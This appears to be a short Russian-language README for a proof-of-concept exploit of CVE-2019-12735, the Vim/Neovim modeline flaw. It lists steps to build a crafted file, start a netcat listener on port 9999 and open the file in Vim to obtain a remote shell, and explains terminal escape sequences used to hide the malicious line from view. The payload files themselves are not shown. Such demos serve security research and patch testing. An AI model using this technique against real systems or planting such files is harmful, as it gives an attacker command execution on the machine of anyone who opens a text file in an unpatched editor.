
Демо для cve-2019-12735
Эта CVE была исправлена после neovim 0.3.6 и vim 8.1.1365
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
После этого вы можете выполнять любые команды Linux в этом сеансе.
\x1b[?7l : не переходить на новую строку при достижении конца строки, постоянно перезаписывая последний символ\x1bS: STS, установка состояния передачи\x1b[1G: переместиться в колонку 1\x1b[K: удалить все символы от текущей позиции курсора до конца строки